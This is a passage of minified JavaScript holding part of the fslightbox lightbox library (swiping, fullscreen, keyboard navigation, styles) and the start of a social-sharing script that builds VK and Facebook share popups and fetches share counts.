i.innerHTML=e},s.className="fslightboxsl",r.innerHTML=n.length,o.appendChild(i),o.appendChild(s),o.appendChild(r),t.appendChild(o)}(e,o)}function D(e,t,n,o){var i=e.elements.container,s=n.charAt(0).toUpperCase()+n.slice(1),r=document.createElement("div");r.className="".concat(p," ").concat(p,"-").concat(n),r.title="".concat(s," slide"),r.onclick=t,function(e,t){var n=document.createElement("button");n.className="fslightboxb ".concat(f," ").concat(c),R(n,"0 0 20 20",t),e.appendChild(n)}(r,o),i.appendChild(r)}function O(e){var t=e.core,n=t.lightboxCloser,o=t.slideChangeFacade,i=e.fs;this.listener=function(e){switch(e.key){case"Escape":n.close();break;case"ArrowLeft":o.changeToPrevious();break;case"ArrowRight":o.changeToNext();break;case"F11":e.preventDefault(),i.t()}}}function j(e){var t=e.elements,n=e.smw,o=e.sourcePointerProps,i=e.stageIndexes;function s(e,t){n[e].v(o.swipedX)[t]()}this.runActionsForEvent=function(e){var n,a,c;t.container.contains(t.slideSwipingHoverer)||t.container.appendChild(t.slideSwipingHoverer),n=t.container,a=r,(c=n.classList).contains(a)||c.add(a),o.swipedX=e.screenX-o.downScreenX;var l=i.previous,u=i.next;s(i.current,"z"),void 0!==l&&o.swipedX>0?s(l,"ne"):void 0!==u&&o.swipedX<0&&s(u,"p")}}function W(e){var t=e.dss,n=e.props.sources,o=e.resolve,i=e.sourcePointerProps,s=o(j);1===n.length||t?this.listener=function(){i.swipedX=1}:this.listener=function(e){i.isPointering&&s.runActionsForEvent(e)}}function X(e){var t=e.core.slideIndexChanger,n=e.smw,o=e.stageIndexes,i=e.sws;function s(e){var t=n[o.current];t.a(),t[e]()}function r(e,t){void 0!==e&&(n[e].s(),n[e][t]())}this.runPositiveSwipedXActions=function(){var e=o.previous;if(void 0===e)s("z");else{s("p");var n=o.next;t.changeTo(e);var a=o.previous;i.d(a),i.b(n),s("z"),r(a,"ne")}},this.runNegativeSwipedXActions=function(){var e=o.next;if(void 0===e)s("z");else{s("ne");var n=o.previous;t.changeTo(e);var a=o.next;i.d(a),i.b(n),s("z"),r(a,"p")}}}function q(e,t){e.contains(t)&&e.removeChild(t)}function B(e){var t=e.core.lightboxCloser,n=e.dss,o=e.elements,i=e.props,s=e.resolve,a=e.sourcePointerProps,c=s(X);this.runNoSwipeActions=function(){q(o.container,o.slideSwipingHoverer),a.isSourceDownEventTarget||i.disableBackgroundClose||t.close(),a.isPointering=!1},this.runActions=function(){n||(a.swipedX>0?c.runPositiveSwipedXActions():c.runNegativeSwipedXActions()),q(o.container,o.slideSwipingHoverer),o.container.classList.remove(r),a.isPointering=!1}}function V(e){var t=e.resolve,n=e.sourcePointerProps,o=t(B);this.listener=function(){n.isPointering&&(n.swipedX?o.runActions():o.runNoSwipeActions())}}function U(e){var t=this,n=e.core,o=n.globalEventsController,i=n.scrollbarRecompensor,s=(e.data,e.e),r=e.elements,a=e.fs,c=e.props,u=e.sourcePointerProps,d=e.ud;this.runActions=function(){t.i=1,r.container.classList.add(b),o.removeListeners(),c.exitFullscreenOnClose&&e.ifs&&a.x(),setTimeout((function(){t.i=0,u.isPointering=!1,r.container.classList.remove(b),document.documentElement.classList.remove(l),i.removeRecompense(),d&&r.container.close(),document.body.removeChild(r.container),s("onClose"),e.io=0}),270)}}function _(e,t){var n=e.classList;n.contains(t)&&n.remove(t)}function Y(e){var t,n,o,i,s,r,a,c,l;!function(e){var t=e.ap,n=e.elements.sources,o=e.props,i=o.autoplay,s=o.autoplays;function r(e,o){if("play"!=o||t.i(e)){var i=n[e];if(i){var s=i.tagName;if("VIDEO"==s)i[o]();else if("IFRAME"==s){var r=i.contentWindow;r&&r.postMessage('{"event":"command","func":"'.concat(o,'Video","args":""}'),"*")}}}}t.i=function(e){return s[e]||i&&0!=s[e]},t.p=function(e){r(e,"play")},t.c=function(e,t){r(e,"pause"),r(t,"play")}}(e),function(e){e.data;var t=e.fs,n=["fullscreenchange","webkitfullscreenchange","mozfullscreenchange","MSFullscreenChange"],o=document.documentElement,i=o.requestFullscreen;function s(e){for(var t=0;t<n.length;t++)document[e](n[t],r)}function r(){document.fullscreenElement||document.webkitIsFullScreen||document.mozFullScreen||document.msFullscreenElement?e.fso():e.fsx()}t.i=function(){if(i||(i=o.mozRequestFullScreen),i||(i=o.webkitRequestFullscreen),i||(i=o.msRequestFullscreen),!i)return e.hfs=1,t.o=function(){},t.x=function(){},t.t=function(){},t.l=function(){},void(t.q=function(){});t.o=function(){e.fso();var t=document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullscreen?t.webkitRequestFullscreen():t.msRequestFullscreen&&t.msRequestFullscreen()},t.x=function(){e.fsx(),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitExitFullscreen?document.webkitExitFullscreen():document.msExitFullscreen&&document.msExitFullscreen()},t.t=function(){e.ifs?t.x():t.o()},t.l=function(){s("addEventListener")},t.q=function(){s("removeEventListener")}}}(e),o=(n=(t=e).core).globalEventsController,i=n.windowResizeActioner,s=t.fs,r=t.resolve,a=r(O),c=r(W),l=r(V),o.attachListeners=function(){document.addEventListener("pointermove",c.listener),document.addEventListener("pointerup",l.listener),addEventListener("resize",i.runActions),document.addEventListener("keydown",a.listener),s.l()},o.removeListeners=function(){document.removeEventListener("pointermove",c.listener),document.removeEventListener("pointerup",l.listener),removeEventListener("resize",i.runActions),document.removeEventListener("keydown",a.listener),s.q()},function(e){var t=e.core.lightboxCloser,n=(0,e.resolve)(U);t.close=function(){e.io&&!n.i&&n.runActions()}}(e),function(e){var t=e.data,n=e.core.scrollbarRecompensor;function o(){document.body.offsetHeight>innerHeight&&(document.body.style.marginRight=t.scrollbarWidth+"px")}n.addRecompense=function(){"complete"===document.readyState?o():addEventListener("load",(function(){o(),n.addRecompense=o}))},n.removeRecompense=function(){document.body.style.removeProperty("margin-right")}}(e),function(e){var t=e.core,n=t.slideChangeFacade,o=t.slideIndexChanger,i=t.stageManager;e.props.sources.length>1?(n.changeToPrevious=function(){o.jumpTo(i.getPreviousSlideIndex())},n.changeToNext=function(){o.jumpTo(i.getNextSlideIndex())}):(n.changeToPrevious=function(){},n.changeToNext=function(){})}(e),function(e){var t=e.ap,n=(e.componentsServices,e.core),o=n.slideIndexChanger,i=n.sourceDisplayFacade,s=n.stageManager,r=e.isl,a=e.saw,c=e.smw,l=e.stageIndexes,u=e.sws;o.changeTo=function(n){t.c(l.current,n),l.current=n,s.updateStageIndexes(),e.sn(n+1),i.displaySourcesWhichShouldBeDisplayed()},o.jumpTo=function(e){var t=l.previous,n=l.current,i=l.next,d=r[n],f=r[e];o.changeTo(e);for(var p=0;p<c.length;p++)c[p].d();u.d(n),u.c(),requestAnimationFrame((function(){requestAnimationFrame((function(){var e=l.previous,o=l.next;function p(){s.i(n)?n===l.previous?c[n].ne():n===l.next&&c[n].p():(c[n].h(),c[n].n())}d&&a[n].classList.add(g),f&&a[l.current].classList.add(h),u.a(),void 0!==e&&e!==n&&c[e].ne(),c[l.current].n(),void 0!==o&&o!==n&&c[o].p(),u.b(t),u.b(i),r[n]?setTimeout(p,260):p()}))}))}}(e),function(e){var t=e.core.sourcesPointerDown,n=e.elements.sources,o=e.smw,i=e.sourcePointerProps,s=e.stageIndexes;t.listener=function(e){"VIDEO"!==e.target.tagName&&e.preventDefault(),i.isPointering=!0,i.downScreenX=e.screenX,i.swipedX=0;var t=n[s.current];t&&t.contains(e.target)?i.isSourceDownEventTarget=!0:i.isSourceDownEventTarget=!1;for(var r=0;r<o.length;r++)o[r].d()}}(e),function(e){var t=e.collections.sourcesRenderFunctions,n=e.core.sourceDisplayFacade,o=e.loc,i=e.stageIndexes;function s(e){t[e]&&(t[e](),delete t[e])}n.displaySourcesWhichShouldBeDisplayed=function(){if(o)s(i.current);else for(var e in i)s(i[e])}}(e),function(e){var t=e.core.stageManager,n=e.isl,o=e.saw,i=e.smw,s=e.stageIndexes,r=e.sws;r.a=function(){for(var e in s)i[s[e]].s()},r.b=function(e){void 0===e||t.i(e)||(i[e].h(),i[e].n())},r.c=function(){for(var e in s)r.d(s[e])},r.d=function(e){if(n[e]){var t=o[e];_(t,m),_(t,h),_(t,g)}}}(e),function(e){var t=e.collections.sourceSizers,n=e.core.windowResizeActioner,o=(e.data,e.props.sourceMargin),i=e.smw,s=e.stageIndexes,r=1-2*o;n.runActions=function(){innerWidth>992?e.mw=r*innerWidth:e.mw=innerWidth,e.mh=r*innerHeight;for(var n=0;n<i.length;n++)i[n].d(),t[n]&&t[n].adjustSize();var o=s.previous,a=s.next;void 0!==o&&i[o].ne(),void 0!==a&&i[a].p()}}(e)}function J(e,t,n){return(J=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}()?Reflect.construct.bind():function(e,t,n){var o=[null];o.push.apply(o,t);var i=new(Function.bind.apply(e,o));return n&&G(i,n.prototype),i}).apply(null,arguments)}function G(e,t){return(G=Object.setPrototypeOf?Object.setPrototypeOf.bind():function(e,t){return e.__proto__=t,e})(e,t)}function $(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,o=new Array(t);n<t;n++)o[n]=e[n];return o}function K(){for(var e=document.getElementsByTagName("a"),t=function(t){if(!e[t].hasAttribute("data-fslightbox"))return"continue";var n=e[t].hasAttribute("data-href")?e[t].getAttribute("data-href"):e[t].getAttribute("href");if(!n)return console.warn('The "data-fslightbox" attribute was set without the "href" attribute.'),"continue";var o=e[t].getAttribute("data-fslightbox");fsLightboxInstances[o]||(fsLightboxInstances[o]=new FsLightbox);var i=null;"#"===n.charAt(0)?((i=document.getElementById(n.substring(1))).parentElement.removeChild(i),i.removeAttribute("id")):i=n,fsLightboxInstances[o].props.sources.push(i),fsLightboxInstances[o].elements.a.push(e[t]);var s=fsLightboxInstances[o].props.sources.length-1;e[t].onclick=function(e){e.preventDefault(),fsLightboxInstances[o].open(s)},d("types","data-type"),d("autoplays","data-autoplay");for(var r=["href","data-fslightbox","data-href","data-type","data-autoplay"],a=e[t].attributes,c=fsLightboxInstances[o].props.customAttributes,l=0;l<a.length;l++)if(-1===r.indexOf(a[l].name)&&"data-"===a[l].name.substr(0,5)){c[s]||(c[s]={});var u=a[l].name.substr(5);c[s][u]=a[l].value}function d(n,i){e[t].hasAttribute(i)&&(fsLightboxInstances[o].props[n][s]=e[t].getAttribute(i))}},n=0;n<e.length;n++)t(n);var o=Object.keys(fsLightboxInstances);window.fsLightbox=fsLightboxInstances[o[o.length-1]]}"object"===("undefined"==typeof window?"undefined":y(window))&&((o=document.createElement("style")).className=s,o.appendChild(document.createTextNode(".fslightbox-absoluted{position:absolute;top:0;left:0}.fslightbox-fade-in{animation:fslightbox-fade-in .3s cubic-bezier(0,0,.7,1)}.fslightbox-fade-out{animation:fslightbox-fade-out .3s ease}.fslightbox-fade-in-strong{animation:fslightbox-fade-in-strong .3s cubic-bezier(0,0,.7,1)}.fslightbox-fade-out-strong{animation:fslightbox-fade-out-strong .3s ease}@keyframes fslightbox-fade-in{from{opacity:.65}to{opacity:1}}@keyframes fslightbox-fade-out{from{opacity:.35}to{opacity:0}}@keyframes fslightbox-fade-in-strong{from{opacity:.3}to{opacity:1}}@keyframes fslightbox-fade-out-strong{from{opacity:1}to{opacity:0}}.fslightbox-cursor-grabbing{cursor:grabbing}.fslightbox-full-dimension{width:100%;height:100%}.fslightbox-open{overflow:hidden;height:100%}.fslightbox-flex-centered{display:flex;justify-content:center;align-items:center}.fslightbox-opacity-0{opacity:0!important}.fslightbox-opacity-1{opacity:1!important}.fslightbox-scrollbarfix{padding-right:17px}.fslightbox-transform-transition{transition:transform .3s}.fslightbox-container::backdrop{display:none}.fslightbox-container{font-family:Arial,sans-serif;position:fixed;top:0;left:0;padding:0;border:0;max-width:none;max-height:none;background:linear-gradient(rgba(30,30,30,.9),#000 1810%);touch-action:pinch-zoom;overflow:hidden;z-index:1000000000;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-tap-highlight-color:transparent}.fslightbox-container *{box-sizing:border-box}.fslightbox-svg{width:20px;height:20px}.fslightbox-svgp{transition:fill .15s ease;fill:#ddd}.fslightbox-nav{height:45px;width:100%;position:absolute;top:0;left:0}.fslightboxsn{z-index:0;display:flex;align-items:center;margin:14px 0 0 11px;font-size:15px;color:#d7d7d7}.fslightboxsn span{display:inline;vertical-align:middle}.fslightboxsl{display:inline-block!important;margin:0 5px;width:1px;height:12px;transform:rotate(15deg);background:white}.fslightbox-toolbar{position:absolute;z-index:3;right:0;top:0;height:100%;display:flex}.fslightbox-toolbar-button{width:45px;height:100%}.fslightbox-fsx{width:24px;height:24px}.fslightboxb{border:0;background:rgba(35,35,35,.65);cursor:pointer}.fslightboxb:focus{outline:0}.fslightboxb:focus .fslightbox-svgp{fill:#fff}.fslightboxb:hover .fslightbox-svgp{fill:#fff}.fslightbox-slide-btn-container{display:flex;align-items:center;padding:12px 12px 12px 6px;position:absolute;top:50%;cursor:pointer;z-index:3;transform:translateY(-50%)}.fslightbox-slide-btn-container-next{right:0;padding-left:12px;padding-right:3px}@media (min-width:476px){.fslightbox-slide-btn-container{padding:22px 22px 22px 6px}.fslightbox-slide-btn-container-next{padding-right:6px!important;padding-left:22px}}@media (min-width:768px){.fslightbox-slide-btn-container{padding:30px 30px 30px 6px}.fslightbox-slide-btn-container-next{padding-left:30px}.fslightbox-slide-btn{padding:10px}}.fslightbox-slide-btn-container:hover .fslightbox-svgp{fill:#fff}.fslightbox-slide-btn{padding:9px}.fslightbox-slide-btn-container-previous{left:0}@media (max-width:475.99px){.fslightbox-slide-btn-container-previous{padding-left:3px}}.fslightbox-down-event-detector{position:absolute;z-index:1}.fslightbox-slide-swiping-hoverer{z-index:4}.fslightbox-invalid-file-wrapper{font-size:22px;color:#eaebeb;margin:auto}.fslightboxv{object-fit:cover}.fslightboxy{border:0}.fslightboxl{display:block;margin:auto;position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);width:67px;height:67px}.fslightboxl div{box-sizing:border-box;display:block;position:absolute;width:54px;height:54px;margin:6px;border:5px solid;border-color:#999 transparent transparent transparent;border-radius:50%;animation:fslightboxl 1.2s cubic-bezier(.5,0,.5,1) infinite}.fslightboxl div:nth-child(1){animation-delay:-.45s}.fslightboxl div:nth-child(2){animation-delay:-.3s}.fslightboxl div:nth-child(3){animation-delay:-.15s}@keyframes fslightboxl{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}.fslightboxs{position:relative;z-index:2;display:block!important;opacity:0}@media (min-width:1200px){.fslightboxsn{margin:15px 0 0 12px;font-size:16px;display:block}.fslightboxsl{margin:0 6px 1px 6px;height:14px}.fslightbox-slide-btn{padding:11px}.fslightbox-svg{width:22px;height:22px}.fslightbox-fsx{width:26px;height:26px}.fslightbox-fso{width:22px;height:22px}.fslightboxl div{width:60px;height:60px;border-width:6px;border-color:#999 transparent transparent transparent;border-radius:50%}}@media (min-width:1600px){.fslightbox-nav{height:50px}.fslightboxsn{display:flex;margin:19px 0 0 16px;font-size:20px}.fslightboxsl{margin:0 7px 1px 7px;height:16px;width:2px;background:#d7d7d7}.fslightbox-toolbar-button{width:50px}.fslightbox-slide-btn{padding:12px}.fslightbox-svg{width:24px;height:24px}.fslightbox-fsx{width:28px;height:28px}.fslightbox-fso{width:24px;height:24px}}")),document.head.appendChild(o)),window.FsLightbox=function(){var e=this;this.props={sources:[],customAttributes:[],autoplays:[],types:[],exitFullscreenOnClose:1,sourceMargin:.05,slideDistance:.3},this.data={isFullscreenOpen:!1,scrollbarWidth:0},this.isl=[],this.sourcePointerProps={downScreenX:null,isPointering:!1,isSourceDownEventTarget:!1,swipedX:0},this.stageIndexes={},this.elements={a:[],container:null,slideSwipingHoverer:null,sourceWrappersContainer:null,sources:[]},this.saw=[],this.smw=[],this.sn=function(){},this.resolve=function(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[];return n.unshift(e),J(t,function(e){return function(e){if(Array.isArray(e))return $(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(e){if("string"==typeof e)return $(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?$(e,t):void 0}}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}(n))},this.collections={sourceLoadHandlers:[],sourcesRenderFunctions:[],sourceSizers:[]},this.core={globalEventsController:{},lightboxCloser:{},lightboxUpdater:{},scrollbarRecompensor:{},slideChangeFacade:{},slideIndexChanger:{},sourcesPointerDown:{},sourceDisplayFacade:{},stageManager:{},windowResizeActioner:{}},this.ap={},this.fs={},this.sws={},this.e=function(t){e.props[t]&&e.props[t](e)},function(e){var t=e.ap,n=(e.componentsServices,e.core),o=n.globalEventsController,s=n.scrollbarRecompensor,r=n.sourceDisplayFacade,c=n.stageManager,u=n.windowResizeActioner,f=e.data,p=e.e,h=e.elements,g=(e.props,e.stageIndexes),b=e.sws,v=0;function x(){var t,n,o=e.props,s=o.autoplay,r=o.autoplays;v=!0,function(e){var t=e.props,n=t.autoplays;e.c=t.sources.length;for(var o=0;o<e.c;o++)"false"===n[o]&&(n[o]=0),""===n[o]&&(n[o]=1);e.dss=t.disableSlideSwiping,e.loc=t.loadOnlyCurrentSource,e.ud=t.useDialog&&"function"==typeof HTMLDialogElement}(e),f.scrollbarWidth=function(){var e=document.createElement("div"),t=e.style,n=document.createElement("div");t.visibility="hidden",t.width="100px",t.msOverflowStyle="scrollbar",t.overflow="scroll",n.style.width="100%",document.body.appendChild(e);var o=e.offsetWidth;e.appendChild(n);var i=n.offsetWidth;return document.body.removeChild(e),o-i}(),(s||r.length>0)&&(e.loc=1),Y(e),e.fs.i(),h.container=document.createElement(e.ud?"dialog":"div"),h.container.className="".concat(i,"container ").concat(a," ").concat(m),h.container.setAttribute("tabindex","0"),function(e){var t=e.elements;t.slideSwipingHoverer=document.createElement("div"),t.slideSwipingHoverer.className="".concat(i,"slide-swiping-hoverer ").concat(a," ").concat(d)}(e),H(e),function(e){var t=e.core.sourcesPointerDown,n=e.elements,o=e.props.sources,i=document.createElement("div");i.className="".concat(d," ").concat(a),n.container.appendChild(i),i.addEventListener("pointerdown",t.listener),n.sourceWrappersContainer=i;for(var s=0;s<o.length;s++)k(e,s)}(e),e.props.sources.length>1&&(n=(t=e).core.slideChangeFacade,D(t,n.changeToPrevious,"previous","M18.271,9.212H3.615l4.184-4.184c0.306-0.306,0.306-0.801,0-1.107c-0.306-0.306-0.801-0.306-1.107,0L1.21,9.403C1.194,9.417,1.174,9.421,1.158,9.437c-0.181,0.181-0.242,0.425-0.209,0.66c0.005,0.038,0.012,0.071,0.022,0.109c0.028,0.098,0.075,0.188,0.142,0.271c0.021,0.026,0.021,0.061,0.045,0.085c0.015,0.016,0.034,0.02,0.05,0.033l5.484,5.483c0.306,0.307,0.801,0.307,1.107,0c0.306-0.305,0.306-0.801,0-1.105l-4.184-4.185h14.656c0.436,0,0.788-0.353,0.788-0.788S18.707,9.212,18.271,9.212z"),D(t,n.changeToNext,"next","M1.729,9.212h14.656l-4.184-4.184c-0.307-0.306-0.307-0.801,0-1.107c0.305-0.306,0.801-0.306,1.106,0l5.481,5.482c0.018,0.014,0.037,0.019,0.053,0.034c0.181,0.181,0.242,0.425,0.209,0.66c-0.004,0.038-0.012,0.071-0.021,0.109c-0.028,0.098-0.075,0.188-0.143,0.271c-0.021,0.026-0.021,0.061-0.045,0.085c-0.015,0.016-0.034,0.02-0.051,0.033l-5.483,5.483c-0.306,0.307-0.802,0.307-1.106,0c-0.307-0.305-0.307-0.801,0-1.105l4.184-4.185H1.729c-0.436,0-0.788-0.353-0.788-0.788S1.293,9.212,1.729,9.212z")),function(e){for(var t=e.props.sources,n=e.resolve,o=n(w),i=n(N),s=n(P,[o,i]),r=0;r<t.length;r++)if("string"==typeof t[r]){var a=s.getTypeSetByClientForIndex(r);if(a)i.runActionsForSourceTypeAndIndex(a,r);else{var c=o.getSourceTypeFromLocalStorageByUrl(t[r]);c?i.runActionsForSourceTypeAndIndex(c,r):s.retrieveTypeWithXhrForIndex(r)}}else i.runActionsForSourceTypeAndIndex("custom",r)}(e),p("onInit")}e.open=function(){var n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;e.io=1;var i=g.previous,a=g.current,d=g.next;g.current=n,v||function(e){var t=e.stageIndexes,n=e.core.stageManager,o=e.props.sources.length-1;n.getPreviousSlideIndex=function(){return 0===t.current?o:t.current-1},n.getNextSlideIndex=function(){return t.current===o?0:t.current+1},n.updateStageIndexes=0===o?function(){}:1===o?function(){0===t.current?(t.next=1,delete t.previous):(t.previous=0,delete t.next)}:function(){t.previous=n.getPreviousSlideIndex(),t.next=n.getNextSlideIndex()},n.i=o<=2?function(){return!0}:function(e){var n=t.current;if(0===n&&e===o||n===o&&0===e)return!0;var i=n-e;return-1===i||0===i||1===i}}(e),c.updateStageIndexes(),v?(b.c(),b.a(),b.b(i),b.b(a),b.b(d),p("onShow")):x(),r.displaySourcesWhichShouldBeDisplayed(),e.sn(n+1),document.body.appendChild(h.container),e.ud&&h.container.showModal(),h.container.focus(),document.documentElement.classList.add(l),s.addRecompense(),o.attachListeners(),u.runActions(),e.smw[n].n(),t.p(n),p("onOpen")}}(this),this.close=function(){e.core.lightboxCloser.close&&e.core.lightboxCloser.close()}},window.fsLightboxInstances={},K(),window.refreshFsLightbox=function(){for(var e in fsLightboxInstances){var t=fsLightboxInstances[e].props;fsLightboxInstances[e]=new FsLightbox,fsLightboxInstances[e].props=t,fsLightboxInstances[e].props.sources=[],fsLightboxInstances[e].elements.a=[]}K()}}])}));
'use strict';(function(){function k(e,b){if(!(e instanceof b))throw new TypeError("Cannot call a class as a function");}function z(e,b){for(var f=0;f<b.length;f++){var a=b[f];a.enumerable=a.enumerable||!1;a.configurable=!0;"value"in a&&(a.writable=!0);var c=Object,d=c.defineProperty;a:{var g=a.key;if("object"===typeof g&&null!==g){var h=g[Symbol.toPrimitive];if(void 0!==h){g=h.call(g,"string");if("object"!==typeof g)break a;throw new TypeError("@@toPrimitive must return a primitive value.");}g=String(g)}}d.call(c,
e,"symbol"===typeof g?g:String(g),a)}}function l(e,b,f){b&&z(e.prototype,b);f&&z(e,f);Object.defineProperty(e,"prototype",{writable:!1});return e}function p(e,b){if("function"!==typeof b&&null!==b)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(b&&b.prototype,{constructor:{value:e,writable:!0,configurable:!0}});Object.defineProperty(e,"prototype",{writable:!1});b&&v(e,b)}function u(e){u=Object.setPrototypeOf?Object.getPrototypeOf.bind():function(b){return b.__proto__||
Object.getPrototypeOf(b)};return u(e)}function v(e,b){v=Object.setPrototypeOf?Object.setPrototypeOf.bind():function(f,a){f.__proto__=a;return f};return v(e,b)}function B(){if("undefined"===typeof Reflect||!Reflect.construct||Reflect.construct.sham)return!1;if("function"===typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function n(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");
return e}function q(e){var b=B();return function(){var f=u(e);if(b){var a=u(this).constructor;f=Reflect.construct(f,arguments,a)}else f=f.apply(this,arguments);if(!f||"object"!==typeof f&&"function"!==typeof f){if(void 0!==f)throw new TypeError("Derived constructors may only return object or undefined");f=n(this)}return f}}function t(e){var b=Array.isArray(e)?w(e):void 0;b||(b="undefined"!==typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"]?Array.from(e):void 0);if(!b)a:{if(e){if("string"===
typeof e){b=w(e,void 0);break a}b=Object.prototype.toString.call(e).slice(8,-1);"Object"===b&&e.constructor&&(b=e.constructor.name);if("Map"===b||"Set"===b){b=Array.from(e);break a}if("Arguments"===b||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(b)){b=w(e,void 0);break a}}b=void 0}if(!(e=b))throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");return e}function w(e,b){if(null==b||b>e.length)b=
e.length;for(var f=0,a=Array(b);f<b;f++)a[f]=e[f];return a}var C=function(){function e(){k(this,e);this.handlers={}}l(e,[{key:"addEventListener",value:function(){var b=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document,f=1<arguments.length&&void 0!==arguments[1]?arguments[1]:"click";this.handlers[f]={func:2<arguments.length?arguments[2]:void 0,target:b};var a=f.split(".")[0];b.addEventListener(a,this.handlers[f].func)}},{key:"removeEventListener",value:function(){var b=0<arguments.length&&
void 0!==arguments[0]?arguments[0]:"click",f=b.split(".")[0],a=this.handlers[b];a.target.removeEventListener(f,a.func);delete this.handlers[b]}},{key:"removeAll",value:function(){for(var b in this.handlers)this.removeEventListener(b)}}]);return e}(),D=function(){return"".concat(0<arguments.length&&void 0!==arguments[0]?arguments[0]:"id","-").concat(Math.random().toString(36).substr(2,8))},m=function(){function e(){k(this,e);this.events=new C;this.callback=function(){};this.updateInstanceId()}l(e,
[{key:"eventHandler",value:function(b,f){var a=this,c=f.share_url,d=f.windowTitle,g=f.windowWidth,h=f.windowHeight;b.preventDefault();f=Math.round((window.outerHeight||window.document.documentElement.offsetHeight)/2-h/2);var r=Math.round((window.outerWidth||window.document.documentElement.offsetWidth)/2-g/2);g="width=".concat(g,",height=").concat(h);f="left=".concat(r,",top=").concat(f);var A="".concat(g,",").concat(f,",location=no,toolbar=no,menubar=no"),x=window.open(c,d,A),E=setInterval(function(){x.closed&&
(a.callback(b,{share_url:c,windowTitle:d,windowOptions:A},x),clearInterval(E))},10);return x}},{key:"setShareCallback",value:function(b){this.callback=b}},{key:"createEvents",value:function(b){var f=this;t(b).forEach(function(a){var c=f.getPreparedData(a);f.events.addEventListener(a,"click.".concat(f.instanceId),function(d){return f.eventHandler.call(f,d,c)})})}},{key:"getInstance",value:function(){"function"===typeof this.shareWindow&&this.shareWindow();"function"===typeof this.getCounter&&this.getCounter();
return this}},{key:"updateInstanceId",value:function(){this.instanceId=D()}},{key:"reNewInstance",value:function(){this.events.removeAll();this.updateInstanceId();return this.getInstance()}}]);return e}(),y=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href,c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:document.title,d=2<arguments.length&&void 0!==arguments[2]?arguments[2]:document.querySelector('link[rel="apple-touch-icon"]');k(this,
b);var g=f.call(this);g.url=encodeURIComponent(a);g.title=encodeURIComponent(c);g.image=d?encodeURIComponent(d.href):"";g.createEvents=g.createEvents.bind(n(g));return g}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url,d=a.dataset.title?encodeURIComponent(a.dataset.title):this.title;a=a.dataset.image?encodeURIComponent(a.dataset.image):this.image;c="https://vk.com/share.php?url=".concat(c,"&title=").concat(d,"&image=").concat(a);
return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="vkontakte"]');return this.createEvents(a)}},{key:"getCounter",value:function(){var a=document.createElement("script"),c=document.querySelectorAll('[data-counter="vkontakte"]'),d="https://vk.com/share.php?act=count&index=1&url=".concat(this.url);window.VK=Object.assign({},{Share:{}},window.VK);0<c.length&&(window.VK.Share.count=
function(g,h){t(c).forEach(function(r){r.innerHTML=h});null!==a.parentNode&&a.parentNode.removeChild(a)},a.src=d,document.body.appendChild(a))}}]);return b}(m),F=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href,c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:document.title;k(this,b);var d=f.call(this);d.url=encodeURIComponent(a);d.title=encodeURIComponent(c);d.createEvents=d.createEvents.bind(n(d));return d}p(b,e);var f=q(b);l(b,
[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a=a.dataset.title?encodeURIComponent(a.dataset.title):this.title;c="https://facebook.com/sharer/sharer.php?u=".concat(c,"&t=").concat(a);return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="facebook"]');return this.createEvents(a)}},{key:"getCounter",value:function(){var a=
document.createElement("script"),c=("goodshare_"+Math.random()).replace(".",""),d=document.querySelectorAll('[data-counter="facebook"]'),g="https://graph.facebook.com/?id=".concat(this.url,"&callback=").concat(c);0<d.length&&(window[c]=function(h){t(d).forEach(function(r){r.innerHTML=h.share?h.share.share_count:0});null!==a.parentNode&&a.parentNode.removeChild(a)},a.src=g,document.body.appendChild(a))}}]);return b}(m),G=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:
